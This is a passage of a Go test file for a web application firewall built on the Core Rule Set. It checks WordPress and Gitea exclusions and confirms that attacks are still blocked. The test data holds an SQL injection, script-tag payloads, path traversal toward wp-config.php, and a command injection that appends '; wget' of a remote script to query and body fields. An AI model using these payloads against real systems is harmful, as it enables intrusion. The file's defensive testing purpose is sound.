matched(930120, 932160)) +} + +// withExclusions returns the Core Rule Set at the defaults, with the +// exclusions file at path. +func withExclusions(path string) (*coreruleset.CoreRuleSet, error) { + return coreruleset.New(coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ExclusionsFile: path, + }) +} + +// exclusionsFile writes text to a file of exclusions and returns its path. +func exclusionsFile(t *testing.T, text string) string { + t.Helper() + + path := filepath.Join(t.TempDir(), "exclusions.conf") + + err := os.WriteFile(path, []byte(text), 0o600) + if err != nil { + t.Fatal(err) + } + + return path +} + +// backupFileExclusion is an exclusions file that switches 920500, a rule +// of phase 1, off for the path of a backup file under /files/. +const backupFileExclusion = `SecRule REQUEST_FILENAME "@beginsWith /files/" ` + + `"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME"` + "\n" + +func TestExclusionsFileIsLoadedBeforeTheRules(t *testing.T) { + t.Parallel() + + crs, err := withExclusions(exclusionsFile(t, backupFileExclusion)) + if err != nil { + t.Fatalf("load the exclusions: %v", err) + } + + wantChange(t, crs, get("/files/notes.txt~"), get("/notes.txt~"), matched(920500)) +} + +func TestRuleSwitchedOffAndNamedInTheExclusionsFileIsOff(t *testing.T) { + t.Parallel() + + crs, err := coreruleset.New(coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: []int{920500}, + ExclusionsFile: exclusionsFile(t, backupFileExclusion), + }) + if err != nil { + t.Fatalf("load the exclusions: %v", err) + } + + wantResult(t, crs, get("/notes.txt~"), coreruleset.Result{}) +} + +func TestExclusionsFileMayNameAnyNumberInAComment(t *testing.T) { + t.Parallel() + + _, err := withExclusions(exclusionsFile(t, + "# 942100: GET /issues/900123\n"+backupFileExclusion)) + if err != nil { + t.Errorf("the exclusions did not load: %v", err) + } +} + +func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) { + t.Parallel() + + missing := filepath.Join(t.TempDir(), "missing.conf") + + _, err := withExclusions(missing) + if err == nil { + t.Errorf("%s loaded", missing) + } + + for _, tc := range []struct{ text, want string }{ + {"SecNoSuchDirective On\n", "unknown directive"}, + // sww's own rules may not be switched off or changed, by + // id or in a range, on one line or split over several. + {"SecRuleRemoveById 899999-901000\n", "names 899999-901000"}, + { + "SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-901000\"\n", + "names 899999-901000", + }, + { + "SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-+901000\"\n", + "names 899999-+901000", + }, + { + "SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=900500;ARGS:from\"\n", + "names 900500", + }, + {"SecRuleRemoveById 899000-\\\n 901000\n", "names 899000-901000"}, + { + "SecAction \"id:1,phase:1,pass,nolog,\\\n" + + " ctl:ruleRemoveById=9005\\\n 00\"\n", + "names 900500", + }, + // The Core Rule Set's rules load after the file. + {"SecRuleRemoveById 942100\n", "SecRuleRemoveById in the exclusions file"}, + { + "SecRuleUpdateTargetById 942100 \"!ARGS:id\"\n", + "SecRuleUpdateTargetById in the exclusions file", + }, + } { + _, err := withExclusions(exclusionsFile(t, tc.text)) + if err == nil || !strings.Contains(err.Error(), tc.want) { + t.Errorf("%q gave the error %v, want one with %q", tc.text, err, tc.want) + } + } +} + +// giteaRequests returns the recorded ordinary gitea requests in testdata. +// Each has the Referer of a page that names the same, as a page opened +// from it has. +func giteaRequests(t *testing.T) []request { + t.Helper() + + text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt")) + if err != nil { + t.Fatal(err) + } + + var requests []request + + for line := range strings.Lines(string(text)) { + line = strings.TrimSpace(line) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + + target, header, _ := strings.Cut(line, " ") + + headers := []string{"Referer: http://git.example" + target} + if header != "" { + headers = append(headers, header) + } + + requests = append(requests, get(target, headers...)) + } + + return requests +} + +// An SQL injection and a script injection, as a query value. Every app's +// tests check that its fields still refuse them. +const ( + sqlInjection = "1'%20OR%20'1'='1" + scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E" +) + +// hardValues are words that name commands and files, as a query or form +// value. An app's tests check that its fields let them through. +// +//nolint:gochecknoglobals // a constant cannot be a list +var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"} + +// wantRecordedRequestsPass checks that none of the recorded ordinary +// requests in the file name in testdata is refused, at the defaults and +// while bodies are read. Each request runs as its own parallel subtest. +func wantRecordedRequestsPass(t *testing.T, name string) { + t.Helper() + + const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default + + defaults, bodies := atDefaults(t), readingBodies(t) + + for _, recorded := range recordedRequests(t, name) { + t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) { + t.Parallel() + + r := request{recorded.Method, recorded.Target, recorded.Headers} + + got, _ := inspectBody(t, defaults, r, recorded.Body) + if got.Score >= threshold { + t.Errorf("%s %s refused: %+v", r.method, r.target, got) + } + + got, _ = inspectBody(t, bodies, r, recorded.Body) + if got.Score >= threshold { + t.Errorf("%s %s %.200q refused while bodies are read: %+v", + r.method, r.target, recorded.Body, got) + } + }) + } +} + +func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) { + t.Parallel() + + const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default + + crs := atDefaults(t) + + for _, r := range giteaRequests(t) { + if got := inspect(t, crs, r); got.Score >= threshold { + t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got) + } + } + + // In q too, off gitea's search pages. + for _, parameter := range []string{"id", "q"} { + for _, attack := range []string{ + sqlInjection, + "..%2Fcustom%2Fconf%2Fapp.ini", + scriptInjection, + } { + target := "/owner/repo?" + parameter + "=" + attack + if got := inspect(t, crs, get(target)); got.Score < threshold { + t.Errorf("%s let through: %+v", target, got) + } + } + } +} + +// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the +// REST API routes of a post and of the tags. +const ( + wpLogin = "/wp-login.php" + wpComment = "/wp-comments-post.php" + wpAjax = "/wp-admin/admin-ajax.php" + wpPost = "/wp-json/wp/v2/posts/1" + wpTags = "/wp-json/wp/v2/tags" +) + +// recordedRequest is a line of a file of recorded requests in testdata. +type recordedRequest struct { + Method string `json:"method"` + Target string `json:"target"` + Headers []string `json:"headers"` + Body string `json:"body"` +} + +// recordedRequests returns the recorded ordinary requests in the file name +// in testdata, each with its body. +func recordedRequests(t *testing.T, name string) []recordedRequest { + t.Helper() + + path := filepath.Join("testdata", name) + + text, err := os.ReadFile(path) //nolint:gosec // a file in testdata + if err != nil { + t.Fatal(err) + } + + var requests []recordedRequest + + for line := range strings.Lines(string(text)) { + if strings.HasPrefix(line, "#") { + continue + } + + var r recordedRequest + + err := json.Unmarshal([]byte(line), &r) + if err != nil { + t.Fatalf("%q: %v", line, err) + } + + requests = append(requests, r) + } + + return requests +} + +// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default, +// but reading bodies up to the largest SWW_WAF_BODY_LIMIT. +func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet { + t.Helper() + + return shared(t, coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1, + }) +} + +// wordpressAttackTargets returns attack in a query parameter no exclusion +// names, and in each field whose searches and names skip some rules there. +func wordpressAttackTargets(attack string) []string { + return []string{ + "/?id=" + attack, + wpLogin + "?id=" + attack, + "/wp-admin/admin-ajax.php?id=" + attack, + "/wp-json/wp/v2/posts?id=" + attack, + "/?s=" + attack, + "/index.php?s=" + attack, + "/page/2/?s=" + attack, + "/index.php/page/2/?s=" + attack, + "/wp-admin/edit.php?s=" + attack, + "/wp-admin/upload.php?s=" + attack, + "/wp-admin/plugin-install.php?s=" + attack, + "/wp-admin/edit-comments.php?s=" + attack, + "/wp-admin/users.php?s=" + attack, + "/wp-admin/plugins.php?s=" + attack, + "/wp-admin/edit-tags.php?s=" + attack, + "/wp-json/wp/v2/search?search=" + attack, + "/wp-json/wp/v2/posts?search=" + attack, + "/wp-json/wp/v2/tags?search=" + attack, + "/?rest_route=/wp/v2/search&search=" + attack, + "/wp-json/wp/v2/posts?slug=" + attack, + "/wp-json/wp/v2/tags?slug=" + attack, + "/?rest_route=/wp/v2/posts&slug=" + attack, + "/wp-json/wp/v2/block-directory/search?term=" + attack, + "/wp-admin/themes.php?search=" + attack, + "/wp-admin/theme-install.php?search=" + attack, + "/wp-admin/upload.php?search=" + attack, + "/wp-admin/admin-ajax.php?q=" + attack, + "/wp-admin/admin-ajax.php?term=" + attack, + "/wp-admin/edit.php?_wp_http_referer=" + attack, + "/wp-admin/upload.php?_wp_http_referer=" + attack, + "/?tag=" + attack, + "/index.php?tag=" + attack, + "/wp-admin/edit.php?tag=" + attack, + "/wp-admin/edit.php?category_name=" + attack, + "/wp-admin/plugin-editor.php?file=" + attack, + "/wp-admin/theme-editor.php?file=" + attack, + "/wp-admin/plugin-editor.php?plugin=" + attack, + "/wp-admin/plugins.php?plugin=" + attack, + "/wp-admin/update.php?plugin=" + attack, + "/wp-admin/admin.php?page=" + attack, + "/wp-admin/options-general.php?page=" + attack, + "/wp-admin/tools.php?page=" + attack, + "/wp-admin/site-editor.php?p=" + attack, + "/wp-admin/site-editor.php?postId=" + attack, + "/wp-admin/admin-ajax.php?slug=" + attack, + "/wp-json/wp-block-editor/v1/url-details?url=" + attack, + "/wp-json/oembed/1.0/proxy?url=" + attack, + "/?rest_route=/oembed/1.0/proxy&url=" + attack, + } +} + +func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) { + t.Parallel() + + const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default + + defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t) + + for _, recorded := range recordedRequests(t, "wordpress-requests.txt") { + t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) { + t.Parallel() + + r := request{recorded.Method, recorded.Target, recorded.Headers} + + crsSets := []*coreruleset.CoreRuleSet{defaults} + if recorded.Body != "" { + crsSets = append(crsSets, bodies) + } + + for _, crs := range crsSets { + got, _ := inspectBody(t, crs, r, recorded.Body) + if got.Score >= threshold { + t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got) + } + } + }) + } + + for _, attack := range []string{ + sqlInjection, + "..%2F..%2Fwp-config.php", + scriptInjection, + } { + for _, target := range wordpressAttackTargets(attack) { + if got := inspect(t, defaults, get(target)); got.Score < threshold { + t.Errorf("%s let through: %+v", target, got) + } + } + + // In a body field no exclusion names, on the paths with exclusions. + body := "id=" + attack + for _, target := range []string{ + wpLogin, + wpComment, + wpAjax, + "/wp-admin/post.php", + "/wp-admin/options.php", + } { + got, _ := inspectBody(t, bodies, + request{http.MethodPost, target, []string{formData}}, body) + if got.Score < threshold { + t.Errorf("POST %s %q let through: %+v", target, body, got) + } + } + + // In the body fields that skip some rules. + posts := append(wordpressBodyFields(attack), + wordpressBodyField{wpComment, formData, "url=" + attack}) + for _, p := range posts { + got, _ := inspectBody(t, bodies, + request{http.MethodPost, p.target, []string{p.contentType}}, p.body) + if got.Score < threshold { + t.Errorf("POST %s %q let through: %+v", p.target, p.body, got) + } + } + } +} + +// wordpressBodyField is a POST to target that sends body, a field whose +// name skips some rules there, with the Content-Type header contentType. +type wordpressBodyField struct{ target, contentType, body string } + +// wordpressBodyFields returns encoded, a URL-encoded value, in a plugin to +// install and in each JSON field of a REST API save that skips some rules. +func wordpressBodyFields(encoded string) []wordpressBodyField { + value, _ := url.QueryUnescape(encoded) + + return []wordpressBodyField{ + {wpAjax, formData, "action=install-plugin&slug=" + encoded}, + {wpPost, jsonBody, fmt.Sprintf(`{"title":%q}`, value)}, + {wpPost, jsonBody, fmt.Sprintf(`{"excerpt":%q}`, value)}, + {wpPost, jsonBody, fmt.Sprintf(`{"slug":%q}`, value)}, + {wpTags, jsonBody, fmt.Sprintf(`{"name":%q}`, value)}, + } +} + +// wordpressWords returns words that ordinary WordPress names and searches +// hold, each with the rule it misfired on. +func wordpressWords() []struct { + value string + rule int +} { + return []struct { + value string + rule int + }{ + {".htaccess", 930120}, + {"powershell", 932120}, + {"ls -la", 932250}, + {"python3", 932260}, + } +} + +// wordpressBlock is the comment that starts every block of WordPress's +// HTML, which rule 941180 matches. +const wordpressBlock = "" + +// wordpressOverride is the header with which the block editor saves. +const wordpressOverride = "X-HTTP-Method-Override: PUT" + +// wordpressRESTAddresses returns the four addresses of route on the REST +// API. +func wordpressRESTAddresses(route string) []string { + return []string{ + "/wp-json" + route, + "/index.php/wp-json" + route, + "/index.php?rest_route=" + route, + "/?rest_route=" + route, + } +} + +func TestWordPressExclusionsFollowEveryRESTAddress(t *testing.T) { + t.Parallel() + + crs := readingBodiesUpTo64K(t) + content := `{"content":"` + wordpressBlock + `"}` + + for _, route := range []string{ + "/wp/v2/posts/1", + "/wp/v2/posts/1/autosaves", + "/wp/v2/pages/2", + "/wp/v2/templates/twentytwentyfive//index", + "/wp/v2/template-parts/twentytwentyfive//header", + } { + for _, address := range wordpressRESTAddresses(route) { + r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}} + wantBody(t, crs, r, content, coreruleset.Result{}, content) + } + } + + // The routes that save something else keep the rules. + for _, route := range []string{ + "/wp/v2/comments", "/wp/v2/users/1", "/wp/v2/settings", + } { + for _, address := range wordpressRESTAddresses(route) { + r := request{http.MethodPost, address, []string{jsonBody}} + wantBody(t, crs, r, content, matched(941180), content) + } + } + + // WordPress follows a route in the query over one in the path. + r := request{ + http.MethodPost, "/wp-json/wp/v2/posts/1?rest_route=/wp/v2/comments", + []string{jsonBody}, + } + wantBody(t, crs, r, content, matched(941180), content) +} + +func TestWordPressSearchesAndFileNamesAreExcludedOnlyThere(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + wantChange(t, crs, get("/?s=python3"), get("/wp-admin/options.php?id=python3"), + matched(932260)) + wantChange(t, crs, get("/?s=python3"), get("/?q=python3"), matched(932260)) + wantChange(t, crs, get("/index.php?s=ls+-la"), get("/index.php?q=ls+-la"), + matched(932250)) + wantChange(t, crs, get("/wp-json/wp/v2/search?search=powershell"), + get("/wp-json/example/v1/things?search=powershell"), matched(932120)) + wantChange(t, crs, get("/index.php?rest_route=/wp/v2/search&search=powershell"), + get("/index.php?rest_route=/example/v1/things&search=powershell"), matched(932120)) + wantChange(t, crs, + get("/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php"), + get("/wp-admin/options.php?file=akismet%2Fviews%2Fconfig.php"), matched(930120)) + wantChange(t, crs, get("/wp-admin/theme-editor.php?file=docker-compose.yml"), + get("/wp-admin/theme-editor.php?id=docker-compose.yml"), matched(932260)) +} + +// TestWordPressGroupsSkipRulesOnTheirFields checks each field of the three +// groups in wordpress.conf at one target of its group, against the same +// values in a field no group names, then one field at each other target of +// the group, then the names in the first group that skip fewer rules. +func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) { + t.Parallel() + + // A page's address, repeating the search it came from. Rules 932235 + // and 932260 match it, and only the fields that hold an address skip + // 932235. + const pageAddress = "%2Fwp-admin%2Fedit.php%3Fs%3Dpython3" + + crs := atDefaults(t) + + for _, group := range []struct { + target string + fields []string + addressFields []string + }{ + { + "/wp-admin/options.php?", + []string{ + "s", "search", "q", "term", "tag", "category_name", "plugin", + "checked%5B%5D", "theme", "stylesheet", "page", + }, + []string{"url", "return", "redirect_to", "wp_http_referer", "_wp_http_referer"}, + }, + {"/wp-json/wp/v2/tags?", []string{"search", "term", "slug", "url"}, nil}, + {"/?", []string{"s", "tag"}, nil}, + } { + wantResult(t, crs, get(group.target+"id="+pageAddress), matched(932235, 932260)) + + for _, field := range group.fields { + wantResult(t, crs, get(group.target+field+"="+pageAddress), matched(932235)) + } + + for _, field := range group.addressFields { + wantResult(t, crs, get(group.target+field+"="+pageAddress), coreruleset.Result{}) + } + + for _, v := range wordpressWords() { + value := url.QueryEscape(v.value) + wantResult(t, crs, get(group.target+"id="+value), matched(v.rule)) + + for _, field := range slices.Concat(group.fields, group.addressFields) { + wantResult(t, crs, get(group.target+field+"="+value), coreruleset.Result{}) + } + } + } + + for _, target := range []string{ + "/wp-admin/term.php?s=python3", + wpLogin + "?s=python3", + "/index.php/wp-json/wp/v2/tags?slug=python3", + "/index.php?rest_route=/wp/v2/tags&slug=python3", + "/?rest_route=/wp/v2/tags&slug=python3", + "/wp-json/oembed/1.0/embed?url=python3", + "/?rest_route=/oembed/1.0/embed&url=python3", + "/index.php?tag=python3", + "/page/2/?tag=python3", + "/index.php/page/2/?s=python3", + } { + wantResult(t, crs, get(target), coreruleset.Result{}) + } + + // The names WordPress writes as slugs skip only 932120 and 932260. + for _, field := range []string{"p", "postId", "slug"} { + for _, v := range wordpressWords() { + want := coreruleset.Result{} + if v.rule == 930120 || v.rule == 932250 { + want = matched(v.rule) + } + + target := "/wp-admin/options.php?" + field + "=" + url.QueryEscape(v.value) + wantResult(t, crs, get(target), want) + } + } +} + +func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(t *testing.T) { + t.Parallel() + + const command = "%3B+wget+http%3A%2F%2Fexample.com%2Fx.sh" + + crs := atDefaults(t) + + for _, target := range []string{ + "/?s=", + "/page/2/?s=", + "/wp-admin/edit.php?s=", + "/wp-json/wp/v2/search?search=", + "/wp-admin/themes.php?search=", + "/wp-json/wp/v2/posts?slug=", + "/?rest_route=/wp/v2/posts&slug=", + "/wp-json/wp/v2/tags?url=", + "/wp-json/oembed/1.0/embed?url=", + "/?tag=", + "/wp-admin/edit.php?tag=", + "/wp-admin/admin-ajax.php?q=", + "/wp-admin/admin.php?page=", + "/wp-admin/options-general.php?page=", + "/wp-admin/tools.php?page=", + "/wp-admin/site-editor.php?p=", + "/wp-admin/site-editor.php?postId=", + "/wp-admin/admin-ajax.php?slug=", + } { + wantResult(t, crs, get(target+command), matched(932235)) + } + + bodies := readingBodiesUpTo64K(t) + + for _, p := range wordpressBodyFields(command) { + r := request{http.MethodPost, p.target, []string{p.contentType}} + wantBody(t, bodies, r, p.body, matched(932235), p.body) + } + + // The addresses of a link preview, an embed and a commenter's site keep + // 932260 too. + for _, target := range []string{ + "/wp-json/wp-block-editor/v1/url-details?url=", + "/wp-json/oembed/1.0/proxy?url=", + } { + wantResult(t, crs, get(target+command), matched(932235, 932260)) + } + + comment := request{http.MethodPost, wpComment, []string{formData}} + wantBody(t, bodies, comment, "url="+command, matched(932235, 932260), "url="+command) +} + +// TestWordPressOtherFieldsAreExcludedOnlyThere checks each field and rule +// on one of its paths against the same value where no exclusion applies. +func TestWordPressOtherFieldsAreExcludedOnlyThere(t *testing.T) { + t.Parallel() + + const elsewhere = "/example/things" + + crs := atDefaults(t) + + for _, tt := range []struct { + target string + rule int + }{ + {"/page/2/?s=python3", 932260}, + {"/page/2/?s=ls+-la", 932250}, + {"/page/2/?s=powershell", 932120}, + {"/index.php/page/2/?s=python3", 932260}, + {"/?s=.htaccess", 930120}, + {"/?s=wp-config.php", 930120}, + {"/?s=.bashrc", 930120}, + {"/page/2/?s=.htaccess", 930120}, + {"/wp-admin/edit-comments.php?s=powershell", 932120}, + {"/wp-admin/users.php?s=ls+-la", 932250}, + {"/wp-admin/plugins.php?s=python3", 932260}, + {"/wp-admin/edit-tags.php?s=python3", 932260}, + {"/wp-admin/themes.php?search=powershell", 932120}, + {"/wp-admin/theme-install.php?search=ls+-la", 932250}, + {"/wp-admin/upload.php?search=python3", 932260}, + {"/wp-admin/admin-ajax.php?q=powershell", 932120}, + {"/wp-admin/admin-ajax.php?q=ls+-la", 932250}, + {"/wp-admin/admin-ajax.php?q=python3", 932260}, + {"/wp-admin/admin-ajax.php?term=powershell", 932120}, + {"/wp-admin/admin-ajax.php?term=ls+-la", 932250}, + {"/wp-admin/admin-ajax.php?term=python3", 932260}, + {"/wp-admin/edit.php?_wp_http_referer=.htaccess", 930120}, + {"/wp-admin/edit.php?_wp_http_referer=powershell", 932120}, + {"/wp-admin/upload.php?_wp_http_referer=ls+-la", 932250}, + {"/wp-admin/users.php?_wp_http_referer=python3", 932260}, + {"/wp-admin/upload.php?_wp_http_referer=%2Fupload.php%3Fmode%3Dlist%26ps", 932340}, + {"/?tag=python3", 932260}, + {"/index.php?tag=powershell", 932120}, + {"/wp-admin/edit.php?tag=ls+-la", 932250}, + {"/wp-admin/edit.php?category_name=python3", 932260}, + {"/wp-admin/edit.php?category_name=powershell", 932120}, + {"/wp-admin/edit.php?category_name=ls+-la", 932250}, + {"/wp-admin/plugin-editor.php?file=install-script.sh", 932120}, + {"/wp-admin/theme-editor.php?file=document.write.js", 941180}, + {"/wp-admin/plugin-editor.php?plugin=docker-helper", 932260}, + {"/wp-admin/plugins.php?plugin=powershell-tools", 932120}, + {"/wp-admin/update.php?plugin=docker-helper", 932260}, + {"/wp-admin/admin.php?page=docker-helper", 932260}, + {"/wp-admin/options-general.php?page=powershell-tools", 932120}, + {"/wp-admin/tools.php?page=ls+-la", 932250}, + {"/wp-admin/tools.php?page=.htaccess", 930120}, + {"/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Findex", 932260}, + {"/wp-admin/site-editor.php?postId=powershell-theme%2F%2Findex", 932120}, + {"/wp-admin/admin-ajax.php?slug=docker-helper", 932260}, + {"/wp-json/wp-block-editor/v1/url-details?url=" + + "http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", 932120}, + {"/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2F.htaccess", 930120}, + } { + _, query, _ := strings.Cut(tt.target, "?") + wantChange(t, crs, get(tt.target), get(elsewhere+"?"+query), matched(tt.rule)) + } +} + +// TestWordPressRESTFieldsAreExcludedOnlyThere checks search, term, url and +// the header X-HTTP-Method-Override at the REST API's addresses. +func TestWordPressRESTFieldsAreExcludedOnlyThere(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + // Any route of WordPress's own API, at each address. + for _, route := range []string{ + "/wp/v2/tags", "/wp/v2/categories", "/wp/v2/pages", "/wp/v2/media", + "/wp/v2/users", "/wp/v2/blocks", "/wp/v2/pattern-directory/patterns", + } { + wantChange(t, crs, get("/wp-json"+route+"?search=python3"), + get("/wp-json/example/v1/things?search=python3"), matched(932260)) + wantChange(t, crs, get("/index.php?rest_route="+route+"&search=python3"), + get("/index.php?rest_route=/example/v1/things&search=python3"), matched(932260)) + wantChange(t, crs, get("/?rest_route="+route+"&search=.htaccess"), + get("/?rest_route=/example/v1/things&search=.htaccess"), matched(930120)) + } + + const directory = "/wp-json/wp/v2/block-directory/search" + + wantChange(t, crs, get(directory+"?term=python3"), + get("/wp-json/example/v1/things?term=python3"), matched(932260)) + wantChange(t, crs, get(directory+"?term=powershell"), + get("/wp-json/example/v1/things?term=powershell"), matched(932120)) + wantChange(t, crs, get(directory+"?term=ls+-la"), + get("/wp-json/example/v1/things?term=ls+-la"), matched(932250)) + + // The block editor's link previews and embeds: url skips only 930120 and + // 932120. + for _, target := range []string{ + "/wp-json/wp-block-editor/v1/url-details?url=", + "/?rest_route=/wp-block-editor/v1/url-details&url=", + "/wp-json/oembed/1.0/proxy?url=", + "/?rest_route=/oembed/1.0/proxy&url=", + } { + for _, v := range wordpressWords() { + want := coreruleset.Result{} + if v.rule == 932250 || v.rule == 932260 { + want = matched(v.rule) + } + + wantResult(t, crs, get(target+url.QueryEscape(v.value)), want) + } + } + + // The header X-HTTP-Method-Override at the address on the site root, + // and off the REST API. + headers := []string{jsonBody, "Content-Length: 2", wordpressOverride} + wantChange(t, crs, + request{http.MethodPost, "/?rest_route=/wp/v2/posts/1", headers}, + request{http.MethodPost, "/?p=1", headers}, matched(920450)) +} + +func TestWordPressBodyFieldsAreCheckedInTheQuery(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + wantResult(t, crs, get(wpLogin+"?pwd=%2Fetc%2Fhosts"), matched(930120)) + wantResult(t, crs, get(wpLogin+"?PWD=%2Fetc%2Fhosts"), matched(930120)) + wantResult(t, crs, get("/wp-admin/admin-ajax.php?content=ls+-la"), matched(932250)) + wantResult(t, crs, get("/wp-admin/admin-ajax.php?newcontent=%3Cstyle%3E"), + matched(941100, 941160)) + wantResult(t, crs, + get("/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape(wordpressBlock)), + matched(941180)) + wantResult(t, crs, get("/wp-json/wp/v2/posts/1?json.title=python3"), matched(932260)) + wantResult(t, crs, get("/wp-comments-post.php?url=powershell"), matched(932120)) +} + +// TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere checks the JSON +// fields of a REST API save, a plugin to install and a commenter's address, +// against the same values in another field and off their paths. +func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) { + t.Parallel() + + crs := readingBodiesUpTo64K(t) + + for _, v := range wordpressWords() { + for _, field := range []string{"title", "excerpt", "name"} { + body := fmt.Sprintf(`{%q:%q}`, field, v.value) + + for _, address := range wordpressRESTAddresses("/wp/v2/posts/1") { + r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}} + wantBody(t, crs, r, body, coreruleset.Result{}, body) + } + + r := request{http.MethodPost, "/wp-json/example/v1/things", []string{jsonBody}} + wantBody(t, crs, r, body, matched(v.rule), body) + } + + other := fmt.Sprintf(`{"description":%q}`, v.value) + r := request{http.MethodPost, wpTags, []string{jsonBody}} + wantBody(t, crs, r, other, matched(v.rule), other) + } + + // A post's slug and a plugin to install skip only 932120 and 932260. + post := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}} + install := request{http.MethodPost, wpAjax, []string{formData}} + + for _, v := range wordpressWords() { + want := coreruleset.Result{} + if v.rule == 930120 || v.rule == 932250 { + want = matched(v.rule) + } + + slug := fmt.Sprintf(`{"slug":%q}`, v.value) + wantBody(t, crs, post, slug, want, slug) + + plugin := "action=install-plugin&slug=" + url.QueryEscape(v.value) + wantBody(t, crs, install, plugin, want, plugin) + } + + comment := request{http.MethodPost, wpComment, []string{formData}} + elsewhere := request{http.MethodPost, "/example/things", []string{formData}} + + // A commenter's address skips the two rules that refused an address. + for _, v := range []struct { + address string + rule int + }{ + {"http://blog.example/.htaccess", 930120}, + {"http://blog.example/powershell-basics/", 932120}, + } { + body := "url=" + url.QueryEscape(v.address) + wantBody(t, crs, comment, body, coreruleset.Result{}, body) + wantBody(t, crs, elsewhere, body, matched(v.rule), body) + + author := "author=" + url.QueryEscape(v.address) + wantBody(t, crs, comment, author, matched(v.rule), author) + } + + // The rules on Unix commands keep it. + wantBody(t, crs, comment, "url=python3", matched(932260), "url=python3") + wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la") +} + +func TestWordPressExclusionsAreNarrow(t *testing.T) { + t.Parallel() + + const ( + offREST = "/api/posts/1" + length = "Content-Length: 2" + ) + + crs := readingBodiesUpTo64K(t) + saving := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}} + + content := `{"content":"` + wordpressBlock + `"}` + wantBody(t, crs, saving, content, coreruleset.Result{}, content) + + // The other fields of the post keep the rule, and so does the same field + // off the REST API. + title := `{"title":"` + wordpressBlock + `"}` + wantBody(t, crs, saving, title, matched(941180), title) + wantBody(t, crs, request{http.MethodPost, offREST, []string{jsonBody}}, content, + matched(941180), content) + + // The header X-HTTP-Method-Override is refused off the REST API. + defaults := atDefaults(t) + wantResult(t, defaults, + request{http.MethodPost, wpPost, []string{jsonBody, length, wordpressOverride}}, + coreruleset.Result{}) + wantResult(t, defaults, + request{http.MethodPost, offREST, []string{jsonBody, length, wordpressOverride}}, + matched(920450)) + + // Signing in: pwd alone skips the list of system files. + signIn := request{http.MethodPost, wpLogin, []string{formData}} + + body := "log=a&pwd=b%20%2Fetc%2Fhosts" + wantBody(t, crs, signIn, body, coreruleset.Result{}, body) + + body = "log=b%20%2Fetc%2Fhosts&pwd=a" + wantBody(t, crs, signIn, body, matched(930120), body) +} + +// bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies. +const bodyLimit = 8 << 10 + +// The Content-Type headers of the kinds of body the Core Rule Set reads. +const ( + formData = "Content-Type: application/x-www-form-urlencoded" + multipart = "Content-Type: multipart/form-data; boundary=b" + jsonBody = "Content-Type: application/json" + xmlBody = "Content-Type: application/xml" +) + +// injection is an SQL injection, which rule 942100 matches. +const injection = "1' OR '1'='1" + +// scriptTag is a script injection, not escaped. +const scriptTag = "" + +// readingBodies returns the Core Rule Set as sww runs it by +// default, but reading bodies up to bodyLimit. +func readingBodies(t *testing.T) *coreruleset.CoreRuleSet { + t.Helper() + + return shared(t, coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, + }) +} + +// post is a POST request for / with a body of the type contentType, a +// Content-Type header, gives, and headers besides. +func post(contentType string, headers ...string) request { + return request{http.MethodPost, "/", append([]string{contentType}, headers...)} +} + +// field is a part of a multipart body: the field name, holding value. +func field(name, value string) string { + return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" + + value + "\r\n" +} + +// end ends a multipart body. +const end = "--b--\r\n" + +// padded returns head and tail with as many a's between them as make n +// bytes in all. +func padded(head, tail string, n int) string { + return head + strings.Repeat("a", n-len(head)-len(tail)) + tail +} + +// wantBody checks what crs finds in r with body, and that what it read of +// body is read. +func wantBody( + t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string, + want coreruleset.Result, + read string, +) { + t.Helper() + + got, gotRead := inspectBody(t, crs, r, body) + if !reflect.DeepEqual(got, want) || gotRead != read { + t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+ + "want %+v, reading %d", r.headers, len(body), body, got, len(gotRead), + want, len(read)) + } +} + +func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) { + 